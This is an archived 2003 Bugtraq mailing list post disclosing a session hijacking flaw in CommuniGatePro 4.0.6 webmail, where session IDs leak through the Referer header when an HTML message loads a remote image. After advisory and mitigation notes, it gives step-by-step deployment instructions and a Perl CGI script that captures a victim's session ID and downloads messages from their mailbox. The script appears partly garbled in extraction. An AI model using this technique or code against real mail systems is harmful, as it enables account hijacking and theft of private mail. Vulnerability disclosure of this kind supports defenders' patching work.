Home page logo

bugtraq logo Bugtraq mailing list archives

CommuniGatePro 4.0.6 [EXPLOIT]
From: Yaroslav Polyakov <xenon () sysattack com>
Date: 4 May 2003 03:27:32 -0000

Vulnerability in CommuniGatePro webmail under some
circumstances may allow attacker to get access to users

CommuniGatePro version 4.0.6 and earlier.
Not vulnerable (according to Stalker.com) 4.1b2 (with
UseCookies option)
Stalker Software Inc. www.stalker.com
Session ID used in CGP WebMail to track sessions is
transferred in REFERER field of HTTP request when user
browsers requests images or other resources from HTML
message. Attacker can send HTML message with img src
from his server and when user will read it in webmail,
attacker may visit address from REFERER field and
hijack current user session - read mailbox, write
messages, etc.

Mitigating Factors: 
If user has turned on IP session control attacker can
access mailbox only from user IP (or use same proxy).
Access is opened only for duration of session time.

Upgrade to 4.1b2 or later version.
There is no known way to fix problem on server side,
but users can configure their browsers, proxy servers
and/or firewalls not to send REFERER field and change
setting to allow only one IP to be used during session
(this option alone doesn't help against exploit if
attacker can use same proxy server as victim).
Vendor status: 
Problem was known or long time and mentioned in CGP
maillists. Vendor confirmed problem and fixed in 4.1b2. 

Exploit section

Exploit howto
Below is exploit code. Place it into cgi-bin, then
(recommended) make symlink from
DocumentRoot/AnyImage.gif to shj.pl, configure
at least $url variable, and possible other vars and
send victim HTML message with img src to your
AnyImage.gif. When victim will read message, script
will download messages 1..10 from his mailbox (if

Script will work even if "require fixed address" option
enabled (set $abuseproxy=1), but it needs access to
users proxy (IP will be detected automatically). So, if
your victim uses same corporate proxy as you, then 
you're lucky, you can own his mailbox! :)

If victim uses HTTPS to access CGP webmail, use
https:// link to image. some browsers will still send
HTTP_REFERER if _both_ sites are https.

Exploit code (shj.pl)

# session hijacking and mail downloading exploit for
CommuniGatePro 4.0.6
# Yaroslav Polyakov. xenon () sysAttack com www.sysAttack.com

use LWP::UserAgent;

# configuration vars

sub printgif

  print "Content-Type: image/gif\n";
  print "\n";
  print "$gif1x1";

open LOG, "> $logfile" || die("cant write to my log");

print LOG "remote: $remote\nreferer: $referer\n";
# if($referer=~/SID=([0-9a-zA-Z\-]+)/){
                print LOG "SID: $SID\n";
                                print LOG "sorry, cant
find out SID\n";

# create request
my $ua = new LWP::UserAgent;
$ua->agent("shj - sysAttack CGP session HiJack/1.0");

                print LOG "set proxy

                $eurl =~ s/%N%/$index/;
                $eurl =~ s/%SID%/$SID/;
                print LOG "fetching $eurl\n";
                $request = new HTTP::Request("GET", $eurl);
                $response = $ua->request($request);
                                print LOG
$response->code." ".$response->message
                                open MSG, ">
$msgprefix$index" or die('cant crea
te $msgprefix$index');
                                print MSG
                                close MSG;
                                print LOG "undefined
close LOG;

And sorry for bad english :)

  By Date           By Thread  

Current thread:
  • CommuniGatePro 4.0.6 [EXPLOIT] Yaroslav Polyakov (May 05)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]